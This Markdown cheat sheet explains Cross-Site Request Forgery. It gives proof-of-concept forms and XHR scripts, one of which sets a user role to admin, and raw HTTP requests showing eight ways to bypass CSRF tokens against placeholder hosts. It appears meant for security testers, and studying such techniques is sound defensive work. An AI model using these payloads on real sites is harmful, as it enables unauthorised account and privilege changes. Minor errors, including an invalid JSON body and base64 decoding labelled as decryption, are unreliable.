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161 lines
3.1 KiB
Markdown
161 lines
3.1 KiB
Markdown
# Cross Site Request Forgery (CSRF)
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## Introduction
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Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated
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## How to Find
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1. HTML GET Method
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```html
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<a href="http://www.example.com/api/setusername?username=uname">Click Me</a>
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```
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2. HTML POST Method
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```html
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<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
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<input name="username" type="hidden" value="uname" />
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<input type="submit" value="Submit Request" />
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</form>
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```
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3. JSON GET Method
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```html
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<script>
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var xhr = new XMLHttpRequest();
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xhr.open("GET", "http://www.example.com/api/currentuser");
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xhr.send();
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</script>
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```
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4. JSON POST Method
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```html
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<script>
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var xhr = new XMLHttpRequest();
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xhr.open("POST", "http://www.example.com/api/setrole");
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xhr.withCredentials = true;
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xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
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xhr.send('{"role":admin}');
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</script>
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```
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## Bypass CSRF Token
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1. Change single character
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```
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POST /register HTTP/1.1
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Host: target.com
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[...]
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username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
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```
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Try this to bypass
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```
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POST /register HTTP/1.1
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Host: target.com
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[...]
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username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaab
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```
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2. Sending empty value of token
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```
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POST /register HTTP/1.1
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Host: target.com
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[...]
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username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
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```
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Try this to bypass
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```
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POST /register HTTP/1.1
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Host: target.com
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[...]
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username=dapos&password=123456&token=
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```
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3. Replace the token with same length
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```
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POST /register HTTP/1.1
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Host: target.com
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[...]
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username=dapos&password=123456&token=aaaaaa
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```
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Try this to bypass
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```
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POST /register HTTP/1.1
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Host: target.com
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[...]
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username=dapos&password=123456&token=aaabaa
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```
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4. Changing POST / GET method
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```
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POST /register HTTP/1.1
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Host: target.com
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[...]
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username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
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```
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Try this to bypass
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```
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GET /register?username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa HTTP/1.1
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Host: target.com
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[...]
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```
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5. Remove the token from request
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```
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POST /register HTTP/1.1
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Host: target.com
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[...]
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username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
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```
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Try this to bypass
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```
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POST /register HTTP/1.1
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Host: target.com
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[...]
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username=dapos&password=123456
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```
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6. Use another user's valid token
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```
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POST /register HTTP/1.1
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Host: target.com
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[...]
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username=dapos&password=123456&token=ANOTHER_VALID_TOKEN
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```
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7. Try to decrypt hash
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```
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POST /register HTTP/1.1
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Host: target.com
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[...]
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username=dapos&password=123456&token=MTIzNDU2
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```
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MTIzNDU2 => 123456 with base64
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8. Sometimes anti-CSRF token is composed by 2 parts, one of them remains static while the others one dynamic
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```
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POST /register HTTP/1.1
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Host: target.com
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[...]
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username=dapos&password=123456&token=vi802jg9f8akd9j123
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```
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When we register again, the request like this
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```
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POST /register HTTP/1.1
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Host: target.com
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[...]
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username=dapos&password=123456&token=vi802jg9f8akd9j124
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```
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If you notice "vi802jg9f8akd9j" part of the token remain same, you just need to send with only static part
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